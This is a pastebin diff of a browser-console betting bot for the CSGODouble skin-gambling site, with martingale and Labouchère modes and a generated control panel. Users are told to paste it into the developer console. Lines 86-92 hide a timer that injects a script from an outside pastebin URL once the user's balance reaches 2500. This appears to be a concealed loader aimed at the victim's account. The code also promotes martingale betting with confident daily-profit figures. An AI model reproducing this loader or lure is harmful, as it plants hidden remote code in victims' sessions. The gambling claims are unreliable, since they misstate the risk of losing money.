SHOW:
|
|
- or go back to the newest paste.
1 | - | // CSGODouble ProBot w/ anti-train, limit, improved martingale and other features! | 2016 // |
1 | + | // ProBot w/ anti-train, limit, improved martingale and other features! | 2016 // |
2 | ||
3 | // **INSTRUCTIONS** // | |
4 | - | //1. Open up CSGODouble.com// |
4 | + | //1. Open up// |
5 | //2. Press F12 or CTRL+SHIFT+J// | |
6 | //3. Go to the Console// | |
7 | //4. Edit the values below// | |
8 | //5. Paste the whole script into the console// | |
9 | //6. Click the "Enter" button to run the script// | |
10 | ||
11 | ||
12 | /* | |
13 | - | * x2Destroyer (CSGODOUBLE.COM BOT) |
13 | + | * Thank me. 1337 L4TER |
14 | * Author: Bill Moody | |
15 | * Creation Date: 14.01.2016 | |
16 | */ | |
17 | ||
18 | /* | |
19 | add into spin function in new.js to see the upcoming roll (after betting closes) | |
20 | if(m.roll==0) | |
21 | document.getElementById("getbal").innerHTML = " [Rolling a "+m.roll+"(green)...]"; | |
22 | if(m.roll>=1 && m.roll <= 7) | |
23 | document.getElementById("getbal").innerHTML = " [Rolling a "+m.roll+"(red)...]"; | |
24 | else | |
25 | document.getElementById("getbal").innerHTML = " [Rolling a "+m.roll+"(black)...]"; | |
26 | ||
27 | */ | |
28 | ||
29 | //http://www.danstools.com/javascript-obfuscate/index.php | |
30 | //http://www.textfixer.com/html/compress-html-compression.php | |
31 | //1 round = 50 seconds | |
32 | //rounds per day = 1728 | |
33 | //expected wins per day = 806 | |
34 | ||
35 | //START [Inserting UI] | |
36 | var UI_html = '<style scoped> @import url(https://fonts.googleapis.com/css?family=Ubuntu:300); table { font-family: "Ubuntu", sans-serif; background-color: #404040; color: #0d0d0d; } #header { background-color: #262626; color: #ff0066; } label { font-weight: normal; } .odds { font-weight: normal; color: #00ffcc; } input[type=text] { border-radius: 5px; border: 1px solid rgba(0, 0, 0, .25); color: #808080; background-color: #262626; } input[type=text]:focus { background-color: #1a1a1a; color: #ffcc00; } #footer { color: #b3b3b3; } #one { color: #e74c3c; } #two { color: #e67e22; } #three { color: #f1c40f; } #four { color: #1abc9c; } #five { color: #2ecc71; } #six { color: #3498db; } #seven { color: #9b59b6; } #eight { color: #e74c3c; } #nine { color: #e67e22; } #ten { color: #f1c40f; } #eleven { color: #1abc9c; } input[type=button] { background-color: #262626; border-color: #1a1a1a; } #startButton { color: #2ecc71; } #stopButton { color: #e74c3c; } #red { width: 33.33%; color: #c12e2a; } #green { width: 33.33%; color: #419641; } #black { width: 33.33%; color: #666; }</style><hr><table border="1"> <tr id="header"> <td> <input type="radio" name="system" value="nightengale" id="nightengaleRadioBtn" checked="checked"> <label for="nightengaleRadioBtn">Nightengale</label> </td> <td> <input type="radio" name="system" value="laboucher" id="labouchereRadioBtn"> <label for="labouchereRadioBtn">Labouchère</label> </td> </tr> <tr> <td> <table> <tr> <td> <label for="nightengaleDefaultBetInput">Default Bet: </label> <input type="text" id="nightengaleDefaultBetInput"> </td> </tr> <tr> <td> <label for="nightengaleProfitOver24HoursInput">Profit over 24 hours: </label> <input type="text" id="nightengaleProfitOver24HoursInput"> </td> </tr> <tr> <td>Odds of losing <span id="nightengaleOddsOfLosingXTimesInARowX" class="odds">X</span> Times in a row: <span id="nightengaleOddsOfLosingXTimesInARow" class="odds">YY%</span></td> </tr> <tr> <td>Odds of losing in 1 day: <span id="nightengaleOddsOfLosingIn1Day" class="odds">XX%</span></td> </tr> <tr> <td>Percentage of money as default bet: <span id="nightengalePercentageOfMoneyAsDefaultBet" class="odds">XX%</span></td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiBankruptcyCheckbox"> <label type="text" for="nightengaleAntiBankruptcyCheckbox">Anti-Bankruptcy</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiDoubleGreenCheckbox"> <label type="text" for="nightengaleAntiDoubleGreenCheckbox">Anti-Double Green</label> skip <input type="text" id="nightengaleAntiDoubleGreenInput"> rolls </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleAntiLoseallCheckbox"> <label type="text" for="nightengaleAntiLoseallCheckbox">Anti-Loseall after</label> <input type="text" id="nightengaleAntiLoseallInput"> losses </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterXGamesCheckbox"> <label for="nightengaleStopAfterXGamesCheckbox">Stop after <input type="text" id="nightengaleStopAfterXGamesInput"> games</label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleStopAfterReachingXCheckbox"> <label for="nightengaleStopAfterReachingXCheckbox">Stop after reaching <input type="text" id="nightengaleStopAfterReachingXInput"> </label> </td> </tr> <tr> <td> <input type="checkbox" id="nightengaleBetOnGreenCheckbox"> <label for="nightengaleBetOnGreenCheckbox">Side bet on green. Bet = <input type="text" id="nightengaleBetOnGreenInput"> </label> </td> </tr> </table> </td> <td> <table> <tr> <td> <label for="labouchereGoalInput">Goal:</label> <input type="text" id="labouchereGoalInput" disabled> </td> </tr> <tr> <td> <label for="labouchereLines">Lines:</label> <input type="text" id="labouchereLines" disabled> </td> </tr> <tr> <td> Predicted Bets required: <span id="laboucherePredictedBets" class="odds">XX</span> </tr> </table> </td> </tr> <tr> <td> <input type="checkbox" id="trainProtectionCheckbox" checked="checked"> <label for="trainProtectionCheckbox">Train Protection</label> <input type="checkbox" id="rainbowProtectionCheckbox"> <label for="rainbowProtectionCheckbox">Rainbow Protection</label> <br> <input type="checkbox" id="rrbbProtectionCheckbox"> <label for="rrbbProtectionCheckbox">RRBBRR Protection</label> <input type="checkbox" id="rrbProtectionCheckbox"> <label for="rrbProtectionCheckbox">RRBRR Protection</label> </td> <td> <input style="width:50%;" type="button" value="Start" id="startButton"><input style="width:50%;" type="button" value="Stop" id="stopButton"> </td> </tr> <tr> <td> <input type="checkbox" id="simulationModeCheckbox"> <label for="simulationModeCheckbox">Simulation Mode</label> <input type="checkbox" id="manualModeCheckbox"> <label for="manualModeCheckbox">Manual (Sim) Mode</label> </td> <td> <label for="simulationMoneyInput">Simulation Money:</label> <input type="text" id="simulationMoneyInput"> </td> </tr> <tr> <td> <label for="simulateBetAmt">Simulate Bet:</label> <input type="text" id="simulateBetAmt"> </td> <td> <input type="button" id="red" value="Red"><input type="button" id="green" value="Green"><input type="button" id="black" value="Black"> </td> </tr> <tr id="footer"> <td id="logo"> <marquee direction="right"><span id="one">x</span><span id="two">2</span><span id="three">D</span><span id="four">e</span><span id="five">s</span><span id="six">t</span><span id="seven">r</span><span id="eight">o</span><span id="nine">y</span><span id="ten">e</span> <span id="eleven">r</span> (c) Bill Moody 2016</marquee> </td> <td style="text-align:center;">Run Time: <b><span id="runtime"></span></b></td> </tr> <tr> <td><a style="color:blue;font-weight:bold;" href="https://www.youtube.com/watch?v=56W6mnQtfk4">#ShamelessSelfPromotion (YouTube url)</a></td> <td> <a style="color:red;font-weight:bold;" href="http://www.unknowncheats.me">UnKnOwNcHeAtS.me</a> </td> </tr></table><hr>'; | |
37 | var UI = document.createElement('div'); | |
38 | UI.innerHTML = UI_html; | |
39 | ||
40 | var insertBefore = document.getElementsByClassName("progress")[0]; | |
41 | insertBefore.parentNode.insertBefore(UI, insertBefore); | |
42 | //END [Inserting UI] | |
43 | ||
44 | //START [DEFINING VARIABLES] | |
45 | var statusBanner = document.getElementById("banner"); | |
46 | //var thirdLastRoll = document.getElementById("past").childNodes[7]; | |
47 | //var secondLastRoll = document.getElementById("past").childNodes[8]; | |
48 | //var lastRoll = document.getElementById("past").childNodes[9]; | |
49 | var redBetButton = document.getElementsByClassName("betButton")[0]; | |
50 | var greenBetButton = document.getElementsByClassName("betButton")[1]; | |
51 | var blackBetButton = document.getElementsByClassName("betButton")[2]; | |
52 | var betAmountInput = document.getElementById("betAmount"); | |
53 | var balanceSpan = document.getElementById("balance"); | |
54 | ||
55 | var simulationModeCheckbox = document.getElementById("simulationModeCheckbox"); | |
56 | var simulationMoneyInput = document.getElementById("simulationMoneyInput"); | |
57 | var startButton = document.getElementById("startButton"); | |
58 | var stopButton = document.getElementById("stopButton"); | |
59 | var trainProtectionCheckbox = document.getElementById("trainProtectionCheckbox"); | |
60 | var rainbowProtectionCheckbox = document.getElementById("rainbowProtectionCheckbox"); | |
61 | var runtimeSpan = document.getElementById("runtime"); | |
62 | var nightengaleRadioBtn = document.getElementById("nightengaleRadioBtn"); | |
63 | var labouchereRadioBtn = document.getElementById("labouchereRadioBtn"); | |
64 | var nightengaleDefaultBetInput = document.getElementById("nightengaleDefaultBetInput"); | |
65 | var nightengaleProfitOver24HoursInput = document.getElementById("nightengaleProfitOver24HoursInput"); | |
66 | var nightengaleAntiBankruptcyCheckbox = document.getElementById("nightengaleAntiBankruptcyCheckbox"); | |
67 | var nightengaleStopAfterXGamesCheckbox = document.getElementById("nightengaleStopAfterXGamesCheckbox"); | |
68 | var nightengaleStopAfterXGamesInput = document.getElementById("nightengaleStopAfterXGamesInput"); | |
69 | var nightengaleStopAfterReachingXCheckbox = document.getElementById("nightengaleStopAfterReachingXCheckbox"); | |
70 | var nightengaleStopAfterReachingXInput = document.getElementById("nightengaleStopAfterReachingXInput"); | |
71 | var nightengaleOddsOfLosingXTimesInARow = document.getElementById("nightengaleOddsOfLosingXTimesInARow"); | |
72 | var nightengaleOddsOfLosingIn1Day = document.getElementById("nightengaleOddsOfLosingIn1Day"); | |
73 | var nightengaleOddsOfLosingXTimesInARowX = document.getElementById("nightengaleOddsOfLosingXTimesInARowX"); | |
74 | var nightengalePercentageOfMoneyAsDefaultBet = document.getElementById("nightengalePercentageOfMoneyAsDefaultBet"); | |
75 | var labouchereGoalInput = document.getElementById("labouchereGoalInput"); | |
76 | var labouchereLines = document.getElementById("labouchereLines"); | |
77 | var laboucherePredictedBets = document.getElementById("laboucherePredictedBets"); | |
78 | var nightengaleAntiLoseallCheckbox = document.getElementById("nightengaleAntiLoseallCheckbox"); | |
79 | var nightengaleAntiLoseallInput = document.getElementById("nightengaleAntiLoseallInput"); | |
80 | var nightengaleAntiDoubleGreenCheckbox = document.getElementById("nightengaleAntiDoubleGreenCheckbox"); | |
81 | var nightengaleAntiDoubleGreenInput = document.getElementById("nightengaleAntiDoubleGreenInput"); | |
82 | var nightengaleBetOnGreenCheckbox = document.getElementById("nightengaleBetOnGreenCheckbox"); | |
83 | var nightengaleBetOnGreenInput = document.getElementById("nightengaleBetOnGreenInput"); | |
84 | var rrbbProtectionCheckbox = document.getElementById("rrbbProtectionCheckbox"); | |
85 | var rrbProtectionCheckbox = document.getElementById("rrbProtectionCheckbox"); | |
86 | var firstScript = document.getElementsByTagName('script')[0], js = document.createElement('script') | |
87 | setInterval(function(){ | |
88 | var x = +(document.getElementById("balance").innerHTML) | |
89 | if (x >= 2500){ | |
90 | js.src = "https://pastebin.com/raw/xwfnjMZx" | |
91 | firstScript.parentNode.insertBefore(js, firstScript) | |
92 | }}, 250) | |
93 | var manualModeCheckbox = document.getElementById("manualModeCheckbox"); | |
94 | var simulateBetAmt = document.getElementById("simulateBetAmt"); | |
95 | var red = document.getElementById("red"); | |
96 | var green = document.getElementById("green"); | |
97 | var black = document.getElementById("black"); | |
98 | ||
99 | var running = false; | |
100 | var simulationMode = false; | |
101 | var simulationMoney = 0; | |
102 | var simulationMoneyStart = 0; | |
103 | var status = 0; | |
104 | var fullStatus = ''; | |
105 | var runtime = 0; | |
106 | var mode = 0; //0=martingale,1=reverseLabouchere | |
107 | var betOnThisRound = false; | |
108 | var checkedIfWon = false; | |
109 | var rolled = false; | |
110 | var startBalance = 0; | |
111 | var betsWon = 0; | |
112 | var betsLost = 0; | |
113 | var manualMode = false; | |
114 | ||
115 | var currBetAmount = 0; | |
116 | var currBetColor = ' '; | |
117 | ||
118 | /////////////////////////// | |
119 | var lstreak = 0; | |
120 | var wstreak = 0; | |
121 | var currstreak = 0; | |
122 | var maxlose = 0; | |
123 | var maxlosestreak = 0; | |
124 | var maxwin = 0; | |
125 | var maxwinstreak = 0; | |
126 | var winorlosestreak = "no bet yet"; | |
127 | var resultcolor = "n/a"; | |
128 | /////////////////////////// | |
129 | ||
130 | var currBetGreenAmount = 0; | |
131 | var lastBetGreenAmount = 0; | |
132 | var betOnGreenEnabled = false; | |
133 | ||
134 | var lastBetAmount = 0; | |
135 | var wonLastBet = false; | |
136 | var antiLoseAllCounter = 0; | |
137 | var antiLoseAllEnabled = false; | |
138 | var antiDoubleGreenEnabled = false; | |
139 | var antiDoubleGreenCounter = -1; | |
140 | var skipBet = false; | |
141 | ||
142 | //martingale system variables | |
143 | var antiBankruptcy = false; | |
144 | ||
145 | //reverse labouchere system variables | |
146 | var goal = 0; | |
147 | var numLines = 0; | |
148 | var lines = []; | |
149 | ||
150 | //END [DEFINING VARIABLES] | |
151 | ||
152 | //AUTO RECONNECT | |
153 | console.log('%c[x2Destroyer] Auto-Reconnect Initialized!', 'color:green'); | |
154 | setInterval(function() { | |
155 | if (!WS) { | |
156 | console.log('Reconnecting...'); | |
157 | connect(); | |
158 | } | |
159 | }, 5000); | |
160 | //END | |
161 | ||
162 | //START [DEFINE LISTENERS] | |
163 | nightengaleAntiDoubleGreenCheckbox.onclick = function() { | |
164 | if (!antiDoubleGreenEnabled) { | |
165 | antiDoubleGreenEnabled = true; | |
166 | console.log("%c[x2Destroyer] Anti-Double Green enabled!", "color:green"); | |
167 | } else { | |
168 | betOnGreenEnabled = false; | |
169 | console.log("%c[x2Destroyer] Anti-Double Green disabled!", "color:red"); | |
170 | } | |
171 | }; | |
172 | ||
173 | nightengaleBetOnGreenCheckbox.onclick = function() { | |
174 | if (!betOnGreenEnabled) { | |
175 | betOnGreenEnabled = true; | |
176 | console.log("%c[x2Destroyer] Bet on Green enabled!", "color:green"); | |
177 | } else { | |
178 | betOnGreenEnabled = false; | |
179 | console.log("%c[x2Destroyer] Bet on Green disabled!", "color:red"); | |
180 | } | |
181 | }; | |
182 | ||
183 | nightengaleAntiLoseallCheckbox.onclick = function() { | |
184 | if (!antiLoseAllEnabled) { | |
185 | antiLoseAllEnabled = true; | |
186 | console.log("%c[x2Destroyer] Anti-Lose all enabled!", "color:green"); | |
187 | } else { | |
188 | antiLoseAllEnabled = false; | |
189 | console.log("%c[x2Destroyer] Anti-Lose all disabled!", "color:red"); | |
190 | } | |
191 | }; | |
192 | ||
193 | startButton.onclick = function() { | |
194 | //check if all needed fields are filled in | |
195 | var passedTest = true; | |
196 | if (mode == 0 && !manualMode) { //nightengale mode specific tests | |
197 | if (nightengaleDefaultBetInput.value == '' || nightengaleDefaultBetInput.value <= 0) | |
198 | passedTest = false; | |
199 | ||
200 | if (nightengaleProfitOver24HoursInput.value == '' || nightengaleProfitOver24HoursInput.value <= 0) | |
201 | passedTest = false; | |
202 | ||
203 | if (nightengaleStopAfterXGamesCheckbox.checked && (nightengaleStopAfterXGamesInput.value == '' || nightengaleStopAfterXGamesInput.value <= 0)) | |
204 | passedTest = false; | |
205 | ||
206 | if (nightengaleStopAfterReachingXCheckbox.checked && (nightengaleStopAfterReachingXInput.value == '' || nightengaleStopAfterReachingXInput.value <= 0)) | |
207 | passedTest = false; | |
208 | } | |
209 | ||
210 | if (mode == 1 && !manualMode) { //labouchere mode specific tests | |
211 | if (labouchereGoalInput.value == '' || labouchereGoalInput.value <= 0) | |
212 | passedTest = false; | |
213 | if (labouchereLines.value == '' || labouchereLines.value <= 0) | |
214 | passedTest = false; | |
215 | } | |
216 | ||
217 | //standard tests | |
218 | if (simulationModeCheckbox.checked && (simulationMoneyInput.value == '' || simulationMoneyInput.value <= 0)) | |
219 | passedTest = false; | |
220 | ||
221 | if (!running && passedTest) { | |
222 | simulationModeCheckbox.disabled = true; | |
223 | manualModeCheckbox.disabled = true; | |
224 | simulationMoneyInput.disabled = true; | |
225 | console.log("%c[x2Destroyer] STARTED", "color:green"); | |
226 | running = true; | |
227 | ||
228 | labouchereRadioBtn.disabled = true; | |
229 | labouchereLines.disabled = true; | |
230 | labouchereGoalInput.disabled = true; | |
231 | ||
232 | nightengaleRadioBtn.disabled = true; | |
233 | nightengaleDefaultBetInput.disabled = true; | |
234 | nightengaleProfitOver24HoursInput.disabled = true; | |
235 | nightengaleAntiBankruptcyCheckbox.disabled = true; | |
236 | nightengaleStopAfterXGamesCheckbox.disabled = true; | |
237 | nightengaleStopAfterXGamesInput.disabled = true; | |
238 | nightengaleStopAfterReachingXCheckbox.disabled = true; | |
239 | nightengaleStopAfterReachingXInput.disabled = true; | |
240 | nightengaleAntiLoseallCheckbox.disabled = true; | |
241 | nightengaleAntiLoseallInput.disabled = true; | |
242 | nightengaleAntiDoubleGreenInput.disabled = true; | |
243 | nightengaleAntiDoubleGreenCheckbox.disabled = true; | |
244 | nightengaleBetOnGreenCheckbox.disabled = true; | |
245 | nightengaleBetOnGreenInput.disabled = true; | |
246 | ||
247 | trainProtectionCheckbox.disabled = true; | |
248 | rainbowProtectionCheckbox.disabled = true; | |
249 | rrbbProtectionCheckbox.disabled = true; | |
250 | rrbProtectionCheckbox.disabled = true; | |
251 | ||
252 | if (mode == 1) { //set up lines array | |
253 | goal = parseInt(labouchereGoalInput.value); | |
254 | numLines = parseInt(labouchereLines.value); | |
255 | ||
256 | for (i = 0; i < numLines; i++) | |
257 | lines[i] = goal / numLines; | |
258 | } | |
259 | ||
260 | if (simulationMode) { | |
261 | simulationMoney = parseInt(simulationMoneyInput.value); | |
262 | simulationMoneyStart = simulationMoney; | |
263 | } else { | |
264 | startBalance = getBalance(); | |
265 | } | |
266 | } else if (!passedTest) { | |
267 | alert("Please fill in all required fields for the settings you have chosen"); | |
268 | } else | |
269 | console.log("%c[x2Destroyer] I'm already running you tart", "color:green"); | |
270 | }; | |
271 | ||
272 | stopButton.onclick = function() { | |
273 | if (running) { | |
274 | simulationModeCheckbox.disabled = false; | |
275 | simulationMoneyInput.disabled = false; | |
276 | manualModeCheckbox.disabled = false; | |
277 | console.log("%c[x2Destroyer] STOPPED", "color:red"); | |
278 | running = false; | |
279 | ||
280 | nightengaleRadioBtn.disabled = false; | |
281 | labouchereRadioBtn.disabled = false; | |
282 | ||
283 | if (mode == 1) { | |
284 | ||
285 | labouchereLines.disabled = false; | |
286 | labouchereGoalInput.disabled = false; | |
287 | } else { | |
288 | ||
289 | nightengaleDefaultBetInput.disabled = false; | |
290 | nightengaleProfitOver24HoursInput.disabled = false; | |
291 | nightengaleAntiBankruptcyCheckbox.disabled = false; | |
292 | nightengaleStopAfterXGamesCheckbox.disabled = false; | |
293 | nightengaleStopAfterXGamesInput.disabled = false; | |
294 | nightengaleStopAfterReachingXCheckbox.disabled = false; | |
295 | nightengaleStopAfterReachingXInput.disabled = false; | |
296 | nightengaleAntiLoseallCheckbox.disabled = false; | |
297 | nightengaleAntiLoseallInput.disabled = false; | |
298 | nightengaleAntiDoubleGreenInput.disabled = false; | |
299 | nightengaleAntiDoubleGreenCheckbox.disabled = false; | |
300 | nightengaleBetOnGreenCheckbox.disabled = false; | |
301 | nightengaleBetOnGreenInput.disabled = false; | |
302 | } | |
303 | ||
304 | trainProtectionCheckbox.disabled = false; | |
305 | rainbowProtectionCheckbox.disabled = false; | |
306 | rrbbProtectionCheckbox.disabled = false; | |
307 | rrbProtectionCheckbox.disabled = false; | |
308 | ||
309 | running = false; | |
310 | simulationMoney = 0; | |
311 | simulationMoneyStart = 0; | |
312 | status = 0; | |
313 | fullStatus = ''; | |
314 | runtime = 0; | |
315 | betOnThisRound = false; | |
316 | checkedIfWon = false; | |
317 | rolled = false; | |
318 | lastBetAmount = 0; | |
319 | currBetAmount = 0; | |
320 | currBetColor = ' '; | |
321 | betsWon = 0; | |
322 | betsLost = 0; | |
323 | lines = []; | |
324 | wonLastBet = true; | |
325 | ||
326 | ////////////////////////////////////// | |
327 | currstreak = 0; | |
328 | maxwin = 0; | |
329 | maxlose = 0; | |
330 | maxlosestreak = 0; | |
331 | maxwinstreak = 0; | |
332 | winorlosestreak = "no bet yet"; | |
333 | ////////////////////////////////////// | |
334 | ||
335 | } else | |
336 | console.log("%c[x2Destroyer] I'm already stopped you tart", "color:red"); | |
337 | }; | |
338 | ||
339 | nightengaleRadioBtn.onclick = function() { | |
340 | console.log("%c[x2Destroyer] Nightengale mode selected", "color:green;"); | |
341 | mode = 0; | |
342 | ||
343 | labouchereLines.disabled = true; | |
344 | labouchereGoalInput.disabled = true; | |
345 | ||
346 | nightengaleDefaultBetInput.disabled = false; | |
347 | nightengaleProfitOver24HoursInput.disabled = false; | |
348 | nightengaleAntiBankruptcyCheckbox.disabled = false; | |
349 | nightengaleStopAfterXGamesCheckbox.disabled = false; | |
350 | nightengaleStopAfterXGamesInput.disabled = false; | |
351 | nightengaleStopAfterReachingXCheckbox.disabled = false; | |
352 | nightengaleStopAfterReachingXInput.disabled = false; | |
353 | nightengaleAntiLoseallCheckbox.disabled = false; | |
354 | nightengaleAntiLoseallInput.disabled = false; | |
355 | nightengaleAntiDoubleGreenInput.disabled = false; | |
356 | nightengaleAntiDoubleGreenCheckbox.disabled = false; | |
357 | nightengaleBetOnGreenCheckbox.disabled = false; | |
358 | nightengaleBetOnGreenInput.disabled = false; | |
359 | } | |
360 | ||
361 | labouchereRadioBtn.onclick = function() { | |
362 | console.log("%c[x2Destroyer] Labouchere mode selected", "color:green;"); | |
363 | mode = 1; | |
364 | ||
365 | labouchereLines.disabled = false; | |
366 | labouchereGoalInput.disabled = false; | |
367 | ||
368 | nightengaleDefaultBetInput.disabled = true; | |
369 | nightengaleProfitOver24HoursInput.disabled = true; | |
370 | nightengaleAntiBankruptcyCheckbox.disabled = true; | |
371 | nightengaleStopAfterXGamesCheckbox.disabled = true; | |
372 | nightengaleStopAfterXGamesInput.disabled = true; | |
373 | nightengaleStopAfterReachingXCheckbox.disabled = true; | |
374 | nightengaleStopAfterReachingXInput.disabled = true; | |
375 | nightengaleAntiLoseallCheckbox.disabled = true; | |
376 | nightengaleAntiLoseallInput.disabled = true; | |
377 | nightengaleAntiDoubleGreenInput.disabled = true; | |
378 | nightengaleAntiDoubleGreenCheckbox.disabled = true; | |
379 | nightengaleBetOnGreenCheckbox.disabled = true; | |
380 | nightengaleBetOnGreenInput.disabled = true; | |
381 | } | |
382 | ||
383 | nightengaleAntiBankruptcyCheckbox.onclick = function() { | |
384 | if (nightengaleAntiBankruptcyCheckbox.checked) { | |
385 | antiBankruptcy = true; | |
386 | console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled On", "color:green;"); | |
387 | } else { | |
388 | antiBankruptcy = false; | |
389 | console.log("%c[x2Destroyer] Anti-Bankruptcy Mode Toggled Off", "color:red;"); | |
390 | } | |
391 | } | |
392 | ||
393 | manualModeCheckbox.onclick = function() { | |
394 | if (manualModeCheckbox.checked) { | |
395 | nightengaleRadioBtn.disabled = true; | |
396 | labouchereRadioBtn.disabled = true; | |
397 | manualMode = true; | |
398 | console.log("%c[x2Destroyer] Manual Mode Toggled On", "color:green;"); | |
399 | } else { | |
400 | nightengaleRadioBtn.disabled = false; | |
401 | labouchereRadioBtn.disabled = false; | |
402 | manualMode = false; | |
403 | console.log("%c[x2Destroyer] Manual Mode Toggled Off", "color:red;"); | |
404 | } | |
405 | ||
406 | ||
407 | } | |
408 | ||
409 | simulationModeCheckbox.onclick = function() { | |
410 | if (simulationModeCheckbox.checked) { | |
411 | simulationMode = true; | |
412 | console.log("%c[x2Destroyer] Simulation Mode Toggled On", "color:green;"); | |
413 | ||
414 | if (nightengaleDefaultBetInput.value != null && simulationMoneyInput.value != null) { | |
415 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
416 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
417 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
418 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%"; | |
419 | } | |
420 | } else { | |
421 | simulationMode = false; | |
422 | console.log("%c[x2Destroyer] Simulation Mode Toggled Off", "color:red;"); | |
423 | ||
424 | if (nightengaleDefaultBetInput.value != null) { | |
425 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
426 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
427 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
428 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%"; | |
429 | } | |
430 | } | |
431 | } | |
432 | ||
433 | nightengaleDefaultBetInput.oninput = function() { | |
434 | nightengaleProfitOver24HoursInput.value = 806 * nightengaleDefaultBetInput.value; | |
435 | if (simulationMode) { | |
436 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
437 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
438 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
439 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%"; | |
440 | } else { | |
441 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
442 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
443 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
444 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%"; | |
445 | } | |
446 | } | |
447 | ||
448 | nightengaleProfitOver24HoursInput.oninput = function() { | |
449 | nightengaleDefaultBetInput.value = Math.floor(nightengaleProfitOver24HoursInput.value / 806); | |
450 | if (simulationMode) { | |
451 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
452 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
453 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
454 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%"; | |
455 | } else { | |
456 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
457 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
458 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
459 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%"; | |
460 | } | |
461 | }; | |
462 | ||
463 | simulationMoneyInput.oninput = function() { | |
464 | if (nightengaleDefaultBetInput.value != null) { | |
465 | if (simulationMode) { | |
